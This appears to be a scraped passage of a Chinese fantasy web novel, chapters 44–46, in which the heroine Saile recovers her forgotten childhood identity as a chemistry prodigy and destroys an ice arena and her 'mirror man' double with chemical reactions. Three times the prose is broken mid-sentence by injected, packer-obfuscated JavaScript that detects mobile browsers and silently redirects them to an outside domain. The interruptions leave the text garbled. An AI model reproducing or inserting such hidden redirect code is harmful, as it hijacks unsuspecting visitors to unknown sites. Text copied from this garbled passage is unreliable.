但是更严峻的战斗还在继续——塞勒正面临一个看起来完全不可能的任务,破开诡异冰面。 这个冰面庞大而厚重,似乎并不会轻易融化,而且还能够随时复原。 要破冰,塞勒想,恐怕只能靠瞬间的爆发力,一次成功。 能破开如此厚重冰面的爆破力量,最快的就是炸药,可她上哪去找那么多炸药? 镜面人又一次悄无声息地出现在塞勒身前,迅雷不及掩耳般飞起一脚踹向塞勒。 轰……冰面再次摇撼! 镜面人这一脚没成功。 塞勒顺势往旁边躲开。 已经好几次了,塞勒发现,巨鲨撞击冰面的时机总是很巧,似乎……是在帮她。 她再次把目光转向冰墙里的困兽,忽然看见有什么东西,正随着巨鲨,在一亮一亮的闪着。那个位置……好像是鲨鱼的鳍尖。 塞勒蓦地一个心念闪过,那里,莫非就是星星说的冰刃? 她当然还惦记着那个。 镜面人的攻击再次袭来,但被塞勒成功避过。 不得不说,实战确实是最好的老师。即使体力已经不怎么跟得上,但挨打次数多了,塞勒对“何时会怎么遭受攻击”已经越来越有感觉,甚至有点轻车熟路了。 ——她的反侦察反预测能力被迅速锻炼出来。 但她不会感谢镜面人。 她也清楚她浑身是伤,得快点,一分一秒都耽误不起了。 轰!轰!!轰!!! ——巨鲨忽然间加快了撞击的频率。 战斗状态被突兀打破,她和镜面人再次陷入了狼狈焦灼的蹦床困境。 混沌鲨一旦出现,星星的叮嘱重新回荡,就说明你真的要好好面对自己了。塞勒一直思索着这句话,却毫无头绪。 有什么是她忽略了的? 真的有吗? 她不记得。 塞勒再次将目光投向巨鲨,下一次撞击的瞬间,她却忽然发现了些之前未曾注意到的东西。 在二者相撞的刹那,冰墙接触面上唰然出现了什么,紧接着,又随着巨鲨的离开消失不见。 是幻觉吗? 所幸很快会再次触碰,塞勒眯起眼,一闪而过的画面中好像是个人。 又一次撞击,塞勒看清了,画面中是个小孩,正拿着什么侧身观察。 有种熟悉感浮上心头。 剧烈的摇晃中,塞勒根本无法站起,甚至连冰面都无法稳定反射,镜面人也只能在冰上勉力维持状态。 一个一个画面连续浮现,塞勒终于难以置信地认清……那些画面中的小孩子,竟然是自己! 只是那样子太过陌生。 接二连三的撞击继续发生,冰墙之上,像定帧动画一般,流水似的,翻过一页一页泛黄书角的简笔画。最终,无数片段汇集成了一小段一小段动画。 那是一个小孩子,孤独地待在阁楼里,捣鼓着瓶瓶罐罐,用抓来的昆虫与树叶在玻璃板上观察着什么。 “……”塞勒感觉自己不可抑制地颤抖起来。 那是自己,确定无疑。 人们总说孩子记不住三岁之前的东西,但事实是,从你选择忘记的那一刻开始,无论几岁的记忆,都会被你丢进浑浊的暗海,被思绪的洪流所淹没。 而这一刻,那些被疏漏的幼时记忆,就像一只被困许久的困兽,就算被放出来也迟疑着、缓慢而残缺地滑进脑海。 想起来了。 即使陌生,即使只有零星片段,她也想起来了。 最初的自己是什么样的……对塞勒来说,那仿佛是上辈子的事了。 在变成翻版赛蒙之前,她的兴趣并不在什么运动上,相反的,她甚至有些自闭。她不喜欢芭比娃娃,不喜欢跟人接触,她不喜欢的东西有很多,喜欢的却很少。 唯一的兴趣似乎就是从花园里抓一些昆虫、摘各种树叶,但跟小男孩喜欢抓虫子玩并不同,她只是喜欢拿回家钻到阁楼里,用她能够接触到的所有液体浸泡,并观察反应。有时候一看就是一天。 除此之外,也许就是发呆,怔怔出神,像在思索着什么。 她是一个古怪的孩子。 在他人眼里既不像寻常的女孩,也不像男孩。 从塞勒有意识起,她似乎就是个让人忧心的孩子。尽管父母发现了她的喜好,并会帮她准备一些液体瓶罐,给她买书,但时不时的,幼小的塞勒总会发现,父母会忧心忡忡地望着她。 尽管他们什么都没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922202|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们只是担心这个孩子以后到底会怎么样。 后来上学了,塞勒依旧不怎么喜欢大部分的课程和活动,只有一门化学启蒙,她乐意上。也因此,她开始严重偏科。 但学校毕竟是学校,再怎么人性化,也有规矩。在数次发现她在其他课程上,偷偷看化学书籍甚至鼓捣化学实验之后,学校老师请来了塞勒的父母。 每当那时,父母又会忧心忡忡地望着她——用一种她无比熟悉的担忧眼神。 那个眼神伴随了她好几年。 虽然化学老师对她给出了极高的评价,说她绝顶聪明,是个天才。小小年纪就能掌握堪比大学的反应量知识储备。 但学校里除了化学启蒙老师之外,应该很难有其他老师能喜欢她。 因为她的性格太孤僻了。 太古怪了。 或者说,她对所有事都太漠然了。 她像一个天生淡漠的化学机器人。 所有遇见她的人,都渐渐觉得这孩子心太硬,没有感情。 但他们错了,有着卓越观察力的她,其实异乎寻常敏感。 她会观察身边一切人的反应,如同观察每一次化学实验。她在乎他们的言辞、眼神和感受,不亚于在乎实验结果。 正如实验配比需要精确到一厘一克,每一个落到她身上的注意,都在那个名为人生的实验中,不断给她增添精确无比的压力。 终于有一天,在七岁那年生日前夕,她发现同样严重偏科的弟弟赛蒙因参加校际运动会,为学校取得奖牌从而获得了全校赞赏之后……化学实验发生了质变,塞勒忽然开始难以遏制地羡慕起来。 太想要了,那些赞许,那些认同,那些接纳。 赛蒙并没有因为偏科而受到苛待……为什么? 明明他们该是一样的。 她日夜不停叩问自己。 最后,她得出结论——是因为赛蒙偏科的是体育,而大家似乎喜欢体育好的人。 好,没问题,她可以开始练习。 因为赛蒙性格开朗,而大家似乎喜欢开朗的人。 好,没问题,那她可以学着开朗。 因为赛蒙勇敢爱冒险,所以会受到重视。 好,没问题,那她也可以。 因为赛蒙…… 好,没问题。 从那时起,在一天一天的观察中,塞勒逐渐开始陷入一种“因为这样做,就会得到认可”的模式。 至于她所拥有的一些东西?她渐渐开始觉得,不重要了。 甚至,她想把那些东西,藏起来。 因为大家不喜欢不认可,所以就需要藏起来。 她开始给自己设立第一个目标,向赛蒙看齐。 于是赛蒙做什么,她也要做什么。 赛蒙锻炼她也锻炼。 赛蒙交朋友她也交。 …… 一个人到底是怎么一点一点,逐渐改变的呢? 也许就在日常中,在每一个起心动念的瞬间。 她是真的有心改变,也是真的很卖力。卖力到几乎重塑了一个自己。 尽管她并不那么擅长,尽管每一步都很艰难。 而她也确实得到了想要的跟赛蒙类似的赞赏。 来自学校的,来自朋友的,来自父亲母亲的。 在日复一日的训练中,她学会不断通过外界的反馈来调整自己。把自己调整到最佳的版本,最像赛蒙的版本,最被大家喜欢的版本,最被他人认可的版本。 而这一切,终于在赛蒙去世之后,让她变成了一个合格的赛蒙替代品…… 也变成一个合格的人格模拟器…… 而那些她曾经丢弃的,一些重要的东西,早化作缕缕青烟埋葬在了滚滚红尘中。 “想起来了吗?” 星星重新燃起,问她,“为什么你会回答不上来‘你是谁’这个问题?” “我……”塞勒几乎说不出话来。 “因为你忘了。”星星说,“你从没打心眼里认可过自己,塞勒。你所有的自我定义都来源于外界认同。所以才会不知道,自己是谁。” 44.勇者勋章(上) 时间是一种很神奇的东西。 有时很短,从8岁到24岁,十六年岁月可以如同弹指一挥;有时很长,一秒钟都像被无限拉伸……这一刻,塞勒对时间产生了一种扭曲的体感。 明明巨震还在继续,可她的心跳和呼吸声却像在寂静中被无限放大。 如果没有这一次特殊的冒险,塞勒恐怕会下意识回避“我是谁”这种问题,终其一生。倒也不是她想当鸵鸟,只是在长久的自我驯化中,如果要叩问这种问题,太难了。 可当她真正要面对这个问题,无法逃避的这一刻,却好似面对一辆高速驶来的汽车,在撞击之前产生了冻结反应一样,思考都变得迟缓。 过去似铅块般沉重凝固,未来如黑洞般虚无收缩。 她孤独的,坍缩在此时此刻。 终于抽离成为过往人生的旁观者。 “你说得对。”良久,塞勒终于重重叹出一口气,闭了闭眼,像是刚经历过一场没有硝烟的艰难斗争,终于接受自己的溃败。 “我总是通过对外界的定义,来确认自己的存在。”塞勒的声音有些抖,“其实这么多年来,我从未真正做到过自我接纳。” “所以你才会进入潜镜丘,塞勒。”星星的声音很平静,“这是你必过的一关。” “还……来得及吗?” “当然,”星星说,“从你决定的那一刻开始,无论什么时候,都来得及。” 塞勒站起身,随着震颤的冰面摇晃,她没法站稳,当然,镜面人也是。她静静地望向巨鲨,轻声说了句,“我看到你了。” 尽管那声音很轻,但巨鲨仿佛心有灵犀一般,顿时,开始逐渐减缓了撞击频率。 塞勒逐渐站稳,对着巨鲨无声地笑了下,她隔空伸出手,感觉自己触摸到了它,也穿越过去,触摸到了真实的自己。 “谢谢。”塞勒回应。 她做出了决定。很神奇的,开始变得无比平静,感觉自己的内心好像从未如此安宁而清晰。 “接下来,你知道要怎么做了吗?”星星问。 镜面人在冰面上站稳。 塞勒看向他,没有点头也没有摇头,只轻声道,“这一次……我会试着,坚决而完全的,相信自己。看看到底会发生什么。” 说完,塞勒握了握拳,手指冻得有些发胀,但她没管,只是闭上眼屏息凝想,几乎是顷刻间,掌中就出现了两摊白色粉末—— 那是食盐。 这次的显化无比顺利。她无声吸了口气,好像自己都不敢相信,“真的成了。” “很好,塞勒。”星星的火焰仿佛再次燃起,“记不记得我说过,当你愿意坦诚面对真实的自己,你就能拿回自己的力量。” 镜面人略显疑惑地环顾四周,再次锁定塞勒。 “我明白了。”塞勒紧盯着镜面人,双手一翻,两小摊盐粒落到冰面上,瞬间发生了小片的潮解反应。 她蹲下身触摸了一下那两块地方,原本平整的冰面变得高低起伏,这是因为盐在冰面上发生潮解,吸收冰表面的水分,形成盐水溶液。而盐水的凝固点比纯水低,使得冰在当前温度下逐渐融化。 当然,这只是塞勒的一个小实验。这点反应虽解决不了什么问题,但说明有效。 很奇妙的,这给了塞勒一些莫名的信心。也是直到此时,她才真的体会到一点“拿回自己力量”到底是什么意思。 原本她以为“来不及”,因为自己已经太久没有调取过那些深埋于过去的东西,就算回忆恐怕都很难。 可是当她真的决定后,那些元素、原理、化学反应和方程式却好像会天然浮现,在她的脑海中迅速组合、连接,形成一套严密的逻辑链。 一气呵成,不费吹灰之力。 只是她重新运用还不够熟练。 “感受到天赋是什么了吗?”星星一字一顿,仿佛知道塞勒此时在想什么,“天赋就是你用最少的时间,最轻松的感受,最清楚的思维,得到最好的反馈。不管你如何看待,那就是你的天赋。” “我知道了。”兜兜转转,她才明白,原来人生不必那么辛苦。“是我把事情搞复杂了。” 镜面人再次袭来,向她发起攻击。 塞勒迅速起身,屏息抬手当空一抓,是一把冰铸□□。这种冰雪显化她已经轻车熟路了。她左手瞄准镜面人,右手凌空架起一支冰箭,即刻发射。 镜面人瞬间转成镜面状态,再次伸手抓住那只冰箭,立刻原路甩回。 就在此时。塞勒眼神坚定无比,口中默念着什么,闭上眼一抬步,顷刻间,脚下出现了一阶悬浮雪梯。接着又出现一阶,她成功避开来箭。 镜面人原地一愣,皱起了眉。 “成了!”她兴奋地喊道。这两阶雪梯的出现,代表她成功做到了“隔空显化”。 也意味着,她终于能够脱离被动,脱离冰面桎梏,从而掌握主动权。 接连的顺利显化让塞勒信心大增。 突然……她有了一个大胆的想法。 没有片刻犹豫,塞勒继续踩上下一节凭空显化的悬浮雪梯,一步步以越来越快的速度向着角斗场中央的冰铸灯塔,狂奔而去。 镜面人迅速朝她跑去,向上一跳,却没够着空中的雪梯。 塞勒很聪明的没有选择显化冰梯,因为她知道不能给镜面人留下任何冰面媒介——没有冰面,他就无法实现瞬移。 脚下的雪梯越铺越远,踏过无痕。塞勒步步高升,直冲灯塔瞭望台。她记得,寻常灯塔的瞭望台都是镂空小平台。 那正是个绝佳的空间。 应该够她干一票大的。 很快,她来到灯塔瞭望台外侧,往里一看,是个一尺见方的小冰间。 “很好。”塞勒立刻闭上眼,不断加强心理暗示,我想要,我得到……我想要,我得到…… 镜面人没入冰面,下一刻,身影就出现在灯塔表层冰面。 在“嘶嘶”的声响出现的一刹那,塞勒睁开眼上下一扫,然后猛地转过身,一条长长的雪梯出现,她想都没想几乎就是向前一扑,整个人迅速滑走。 与此同时镜面人刚跨出冰面,就感到好像有哪里不对劲。 嘭!嘭嘭!嘭嘭嘭! 一连串低沉的闷响传来。 镜面人一惊,循着声源转头一看,无数细小的白色粉末正从瞭望台上的镂空窗口喷射出来!他下意识往后退一步。细小粉末不过几秒就变成连片粉尘飞溅而出! 镜面人随即发动镜面感知,只一瞬,便瞪大眼,"……你在做什么?!"他的声音第一次出现了波动。 几乎话音未落,原本高高矗立的晶莹灯塔上,瞭望台四壁冰面便在连串嘭啪声中分崩离析,冰块飞溅,镜面人侧身一闪而过。 此时的塞勒,已经身在百米之外。她轻笑一声,“你等着看好了。” 这当然还没完。随着瞭望台的迸裂,巨量的白色粉尘喷泉一般四溅,辐射周围至少十几米。可让镜面人没想到的是紧接着,整个灯塔开始歪斜变形,哐嘡一声大块冰墙整个剥落下来! “你做了什么?!”镜面人头一次面露惊惧。 “没什么,一些高纯度生石灰罢了。”塞勒耸耸肩,笑意未泯,“顺便,在底下铺了一层盐酸。触发了酸碱中和生热而已。” “什么?”这一次,轮到镜面人茫然发问了。 毕竟,这实在不是他擅长的领域。 冰墙碎裂,整个灯塔的都在坍塌,滚滚热浪扑面而来,原本寒冷彻骨的空气瞬间变得炽热,好似从寒冬直接跨越到了炎夏。 冰面上的冰层在剧烈高温的侵袭下,发出“滋滋”的声响,迅速地融化、蒸腾,化作一团团白色的水汽弥漫在空中。 塞勒才懒得跟他解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948974|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释。 她刚才做的事情很简单,就是在那一方瞭望台显化了两种东西,盐酸与生石灰。 首先,酸会与冰发生反应。酸中的氢离子与冰中的水分子相互作用,加速冰的融化,同时酸液会立刻对冰面造成腐蚀和破坏,改变冰面的反射性能。 冰融化了,有水了,那就好办了。 大量的高纯度生石灰与冰水接触,氧化钙会与冰和水发生反应生成氢氧化钙,这个过程会放出巨量的热,从而使冰加速融化。 更别说强酸强碱相遇,会迅速触发酸碱中和反应。不仅产生大量的水,还释放出加倍热量。 而把这些酸、碱、水和热量关到四面冰墙当中,势必会在有限空间中触发更大的爆破能量。 事实证明,她是对的。 冰铸的灯塔此时犹如一支伶仃的白色蜡烛,四面颤颤巍巍留下蜡油,越来越矮。而上方还在无限喷射携带着许多生石灰粉末的滚烫水泉。 镜面人身上被飞溅到一些,他霎时感到了疼,立刻恢复镜面状态,没入冰面。瞬影一闪,便出现在了五十米外的角斗场外围,震惊地看向中央区域。 只能说还好他跑得快。 那些滚烫的酸性石灰水落到底下的冰面上,触发了二次反应。热量加速了冰面的融化,同时生成的盐类物质开始改变冰面的性质,使其不再光滑平整,反射能力大幅下降。 再晚一些,恐怕镜面人就没那么顺利脱身了。 冰面迅速自启动复原,但两股力量都很强,一个侵蚀,一个复原,无形之中形成拉锯之势。 看起来冰面一时也无法完全崩塌。但没关系,这样的反应正是塞勒想要的。 原因很简单—— 侵蚀和复原此起彼伏,引发了周围冰层的连锁反应,只见一边是强烈高温,冰面如蛛网般裂开一道道缝隙,“咔嚓咔嚓” 碎裂声不绝于耳;一边又即时复原愈合,再腐蚀,再复原,冰面结构变得脆弱不堪。 塞勒很清楚,这样大的冰面,这样厚的冰层,一下就击破不够现实。这样很好。 整个中央场域以灯塔为中心,飞溅水泉滚滚而下,辐射面已经超过半径二十米的圆形区域。 眼看飞泉之势渐缓,反应速度也渐趋平缓,忽然,轰!!的一声,是巨鲨再一次撞击冰墙,连带着冰面也左右震颤起来。顿时,那些强腐蚀性的液体就像铺在平底锅里,被再次起锅翻炒,绵延向外,硬生生多抻了十米左右半径。 镜面人只好再次瞬身向外围移动,但还是被这突如其来的变故惊了个措手不及。 轰隆不断,反应产生的白色水雾蒸腾,一时间好似仙境。那些白雾足有半人高,还在随着接触面的扩大,而扩散,不断升高。 终于,灯塔被侵蚀得只剩一个基底,咕嘟嘟冒着腐蚀后的白色泡沫,冰面还在白雾下不停歇地反应着。 高温回调,凉风吹过。 世界开始安静了下来。 镜面人此刻站在半人高的冰台上,一转头看见塞勒正站在不远处,一个悬浮的白色雪梯上。 “你刚刚问我在做什么。”她定定地看着镜面人,语气从未那样坚决,“那我就来告诉你,我在打破你的规则。” 镜面人双拳紧攥,看起来怒火中烧,似乎完全没有料到。 “你之前说的对,”塞勒平静而坦诚,继续道,“在你的道路上,我做得再好都赶不上你。正如在你的游戏规则下,我再怎么玩都没有任何胜算。” 回首过往,她一直拿着别人的地图,不肯松手,所以既辛苦,又找不到自己的方向。可这短短十分钟左右,她却好像从未这么有力量过。 “这是你的规则。”塞勒环顾周围蒸腾的白雾,听着冰面滋滋作响,“从现在起,我会用塞勒的方式,来重新定义规则。” 她几乎是居高临下,“我要开始玩我的游戏了。你敢吗?” 45.勇者勋章(下) 啪,啪,啪。 伴随着三声假惺惺的鼓掌,镜面人忽然嗤的怒极反笑。他垂眸摇了摇头,又抬眼看向塞勒,风凉道,“真是精彩。但你以为,这样就能打败我?” 塞勒即刻警惕起来,她已经在空中了,镜面人还能怎样? “未免也太小看我了!”话音随镜面人的双手同时一扬,冰面上瞬间竖起两道高高的冰刺,直直插向塞勒脚下悬浮的雪梯,顿时,凝固的雪块溃散。 “!”那速度快得塞勒始料未及,脚下一空,便向下坠去。说时迟那时快,塞勒即刻再次显化一条雪梯作为缓冲,但还是略显狼狈地翻滚滑落在地。 霎时,几道冰凌又接二连三在她周围,再次突兀地升起。每当镜面人抬起指尖,冰面就会生长出尖锐的冰凌……那些棱角精准地封堵着她下方退路。 “看见了吗?”镜面人狞笑出声,“在这里,冰的力量是无穷的!它可以困住一切,将你困死、困得寸步难行!” 塞勒心中一沉,不得不继续向上,一脚踏上下一个显化出现的悬浮雪梯。 镜面人见反制有效,继续加大力度,不断抬手增加冰刺数量。无数冰凌即刻破冰而出,追着塞勒的一个个悬浮雪梯插刺过去。 在镜面人的眼里,塞勒此刻就像在疲于奔命。即便能悬浮于空,也得靠雪梯支撑,只要毁了那些支撑物,早晚她得无计可施。 塞勒一路奔跑,脚下雪梯一阶一阶出现,尖锐的冰凌也一道道出现。她跑到哪里,那些冰凌就跟到哪。她回过头,观察那些冰凌片刻,便加快速度继续跑起来。 角斗场很大,但她一刻不停,直到她绕着外围近乎跑了一圈,接近闭合之时——镜面人才忽然反应过来,不对劲。 “……你!”他猝然停下了动作。 此时此刻,整个五十米外的外围场地,已经布满了尖锐冰凌。 “……感谢示范。”塞勒气喘吁吁,但还是轻笑一声,“我这也算是把你刚才教我的,奉还给你。” 内围中央区域的冰面还在一刻不停地侵蚀-复原反应着,无法反射;外围却已经好似落入冰锥荆棘地……几乎找不出像样的完整镜面了。 当初她被镜面人吊着跑消耗体力,现在,换她吊着镜面人亲手用自己的能力——逐寸逐片,破坏了角斗场剩余反射面。 “不可能……”镜面人无法置信地看着眼前。他向前一步,原本在冰面上如鱼得水的他,此刻在这混乱的局面中,已然失去了冰面的助力。 似乎是无法接受自身优势的丧失,他发出一阵尖锐的嘶吼,瞋目切齿道,“你以为毁掉角斗场的冰面,就能打败我了吗?!” “哦?”塞勒挑挑眉,示意继续。 “试试看在低温状态下你能撑到什么时候!”镜面人挑衅一笑,双手触地,四周顿时响起霜花凝结之声,中央区域的白雾好似被强力抽离,冰面再次冻结,虽然依旧坑坑洼洼。 整个空间霎时寒气逼人。 那是显而易见的气温下降,塞勒不由打了个生理性寒颤。 好啊,来这个是吧…… 脸上又麻又痛,手背开始出现一道道小口子。看来温度下降的比她想的还要快,一分钟左右至少已经降了十几度。无数念头闪过,她必须速战速决。 镜面人已完全转为镜面形态,感受不到寒冷。而塞勒不过是肉体凡胎,他确信撑不了多久。 “寒冷正在冻结你的血管。”镜面人的声音像冰锥刺入耳膜,“当体温降到28℃以下时,你的多巴胺会开始……” 他的话音戛然而止,因为塞勒伸出的手掌之上忽然出现了什么东西。 那东西拳头大小,呈现出一种银灰色的光泽。不过片刻,表面就逐渐生成一层灰白色的膜。 “知道这是什么吗?”塞勒声音冻得发抖,但还是露出一点狡黠。 镜面人瞬间警惕起来。 只见塞勒抡圆了胳膊,使大力丢进了冰棱丛生的外围,顿时,东西摩擦碰撞的声音“哐嘡哐嘡”响起。紧接着晶莹冰丛中泛出磷火般的幽光。 “托你的福。”塞勒颤抖着笑了,“在零下38~60℃的极端低温里,它就像被囚禁的困兽。一擦即燃。” “你……”镜面人一愣,“你刚才干了什么……”他的声音突然出现杂音,冰棱映出的面孔开始闪烁,显然他自己也发现了,疾声吼道,“刚刚那是什么?!” “虽然、你、听不懂,”塞勒明显感觉到自己冻得话都说不清了,“但我、我也得告诉你,好让你、死个明白。” 她右手一翻,又一块灰蓝色物件出现在手中,“这东西、是一种化学性质、相当活泼的稀土金属,叫、叫做铈。” 塞勒感觉股股冷风灌进口腔,实在受不了,她得缓缓,保持身体中的热度,便闭了嘴,又是大力一甩,将那块铈金属哐嘡丢进了冰棱丛。 镜面人目光紧紧追随着那东西,从冰棱的反射面清晰地看见,金属与冰晶摩擦的瞬间,一缕青白色火苗突然窜起。 但就这么几秒,好像除了燃烧,也没发生什么反应。甚至那燃烧连一根冰凌都不足以融化。 “呵,”他轻蔑地冷笑一声,“虚张声势?死到临头了在这跟我耍花招是吧?” 塞勒却忽然笑了。 因为她很清楚那不是普通燃烧,而是铈原子在剧烈摩擦中挣脱束缚的电子,跃进更高能级时释放的光子瀑布。 那些跃迁光谱中包含着572nm的靛蓝光波……正好与镜面人维持实体的全反射谐振频率重叠。 简而言之,就是铈低温燃烧释放的特定波长光子穿透冰层,会在无数冰镜之间形成共振干扰。 她在利用铈的稀土特性,制造一场光谱污染。 “知、知道、我为什么选、选择铈吗?”塞勒颤抖的声音重新响起。 她双手一翻,一左一右再次出现了两块铈金属。接着双手一撞,两块金属似打火石般瞬间自燃起来。这一次,塞勒将两块燃烧的铈块丢向中央区域。 燃烧的金属块坠入低温脆化的冰层;再加上一早因为不断侵蚀-复原导致的结构瓦解;以及铈燃烧在冰棱丛中所造成的光谱污染,三重杀机在这一刻完美交汇。 “结束了。”她闭上眼,喃喃道。 “滋——”整个角斗场的所有冰镜(无论是冰墙、冰面、还是冰棱的反射镜面)都突然扭曲,镜面人完美复刻的身影上出现雪花噪点。 “!”镜面人忽然惶乱起来,目眦欲裂,“为什么?你到底干了什么?说啊!” 塞勒已经蹲下身,脑袋发木。寒冷让她不得不以一种蜷缩的姿态来维持身体温度,但她的声音还是很轻松,“因为它的电、电子跃迁光谱……正好能干、干扰你的全反射成像系统。” 镜面人虽然还是听不懂,但他莫名慌乱,下意识便试图冻结那东西。 但光谱污染已经发生,那些冰晶棱镜又属于天然光子晶体,恰好成了最佳传播媒介。 每次反射都会再一次的,叠加光谱频率。 镜面人发现无论自己怎么冻结,根本阻止不了层层的冰镜反射!他克制不住颤抖起来,但不是冷的。从未想过自己有一刻,竟然会开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948975|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对那些反射面产生恐惧。 当第127次反射发生时,冰核内部传出玻璃碎裂的脆响……那是冰晶光子晶格在过量能量冲击下,发生的拓扑相变。 “不……”镜面人的身体忽然开始发生崩解,他迅速重新换回人形,但显然也是来不及了。 厚重的冰层从下到上逐渐开裂,混沌之海灰蓝色的海水随着裂隙喷涌而出。整座角斗场开始了量子隧穿式的坍缩。 塞勒已经濒临极限,几乎就要失去意识了。她昏昏沉沉,感到悬浮的雪梯摇摇欲坠,然后分崩溃散。她整个人摔了下去,却没有落到地面。睁眼最后看到的画面,是那只巨鲨困兽砰!一声轻而易举地,冲破了那堵脆弱的冰墙…… 从极寒环境下落入海里,几乎就像温泉。海水接住了她,也同时淹没了一切…… 目之所及的所有冰面被海水巨大的冲劲瓦解,浪涛汹涌,像是被激怒的巨兽,从深海底部咆哮着涌起。 海浪一波接着一波,无穷无尽,带着千钧之力覆灭一切。 原本的冰山、雪原、角斗场、甚至雪人的身影全都消失不见,只剩下一望无际的混沌之海。发出震耳欲聋的声响,仿佛在向世界宣告它的主宰地位。 片刻之后,海面被释放的巨鲨困兽瞬间冲破,一跃而起数米!带起巨大的浪涛,而它的背上,双手抓着鲨鱼鳍的,正是塞勒! 轰的一声巨鲨再次落到海面,巨大的身体没入一半。塞勒扶着鱼鳍坐起身,脸色还是有些苍白,手上、身上、脸上的伤口仍旧隐隐作痛。 但她显然已经拿到了,那把无坚不摧的冰刃。 那像是镶嵌在鲨鱼鳍边缘的一层冰晶剑鞘,她握住剑柄,锵然一声抽出,晶莹的冰刃在阳光下闪闪发光。冰刃弧度和鲨鱼鳍的弧度吻合。 塞勒忍不住放声笑了起来,她眼中熠熠闪着光,心中从未如此畅快。 “你做到了,塞勒。”星星的声音噼啪燃起。 “是啊!”塞勒几乎喜极而泣。她做到了,靠自己的力量。 她面朝大海迎着阳光,高高举起那柄冰刃,犹如一个骁勇征战的勇士,拿着属于自己的战利品勋章。 她已无需再证明自己。 附近的海面传来一点动静,巨鲨迅速做出反应,噗通一下海面出现一个人,海浪夹带着镜面人残缺的身体出现,他还有意识。 塞勒放下手臂,轻轻拍了拍鲨鱼鳍,巨鲨调转方向,向他那边游去。 快到跟前时,她看见镜面人的右侧身体,应该是在刚刚的崩解中破坏了,此时的人形残破不堪。镜面人看看她,又看向冰刃,她也看着镜面人。 “要用那个……结果我吗?”镜面人的声音说不出的虚弱。 然而塞勒却把手一挥,又是锵然一声,冰刃入鞘。她垂眸摇了摇头,“没必要了。” 镜面人:? 再次抬首,塞勒定定地望着他,坦然说道,“从一开始,你就是我的心结,我的执念,我臆造出来的人。是因为我不够坦诚,不敢面对,所以你才愈发强大。而现在……”塞勒很轻松地笑了,“你已经无需存在了。” 镜面人一怔,真正的崩解恰在此时悄然发生。 一片片银雪般的碎屑从它身上剥离开来,这些碎屑在空气中悬浮了一瞬便消弭无踪。每飘散一点,镜面人的身形就愈发模糊。 眨眼之间便彻底地溃散崩解,没有留下一丝一毫的痕迹。 浪涛还在翻涌震荡,海风吹走了所有疯狂。塞勒收回了目光,望向远方。 “从今以后,我会是我自己的主宰。” 46.岛屿重组 一阵急促立体的哼鸣声倏然响起。 好似3D环绕,惊得洛祈蓦地顿足。他上下前后左右都看了一圈,一时竟分不清,到底是自己脑内的声音,还是现实中的声音。 “你们有没有听到什么声音?”洛祈开了麦,“就我说过的那种,物灵哼鸣。” “哼鸣?”许梦扬顿了顿回答,“没有啊?” “都没有吗?各位?” 随后其他几人纷纷表示,没有听见任何声音。 “好吧……”看样子,还是只有自己能听到。那就一定跟物灵有关。 “怎么了吗?”许梦扬追问道。 “我刚才听到了点声音……”洛祈停下,一边打开行李箱,一边道,“没事,我先看一下是什么情况。” 行李箱一打开,洛祈就诧异地发现,有一些物件的表面,正缓缓形成一层略微透明的硬壳,有先有后。 他伸手拿起最近一个外壳成型的物件,那是一个双层的白色画板,看起来已经用了多年。表面摸起来像是镀了一层薄薄的银,但依旧保持些许透明。原本夹层之内还放了几支铅笔,但此时已经被薄薄的壳封锁在内,取不出来了。 洛祈拿起来晃了晃,依旧能听到里面铅笔撞击的声音。 他放下画板。 奇了怪了。这又是个什么情况…… “这么多啊?”耳机内,许梦扬的声音传来,显然他开了视野同步。 “嗯……”这次发生异样的物件确实比上次的要多不少。一、二、三……洛祈一个个数过去,最后发现一共25个。 其实洛祈这次到西班牙,一共带了100个物件。为了装下这些物件,除了选用了大箱子之外,还有一个标准,就是筛选了一些没那么占空间的小物件。 目前为止——除去他这边银线花蕊的物灵配对19个,埃文那边的玻璃框物灵配对23个,一共有42个物件已经消失。 行李箱内,剩余的58个物件当中,还有阮廷榭和索尔那边猜测的13个,带有绿色中空边框。如果他没猜错,刚刚那25个物件也是跟伙伴的遭遇有关。 也就是说,在刚才的哼鸣响起之后,现在就只剩下20个物件没发生过任何反应。 但这又能代表什么呢? 他正想开口问一下其他人,忽然,脚下的大地毫无征兆地剧烈震动起来,洛祈原本半跪的姿势一晃,顿时跌坐在地。 洛祈:? “什么情况?!”许梦扬在耳机内喊道,“我这边好像地震了……” “……我这边也是。”洛祈道。紧接着,一阵震耳欲聋的轰响声从地底深处传来,仿佛一头沉睡的巨兽正在苏醒。 “我这边也地震了!”/“我们这边也是!” 埃文和索尔不约而同。 “大家注意安全!”许梦扬提醒,“我这边地面裂了!” 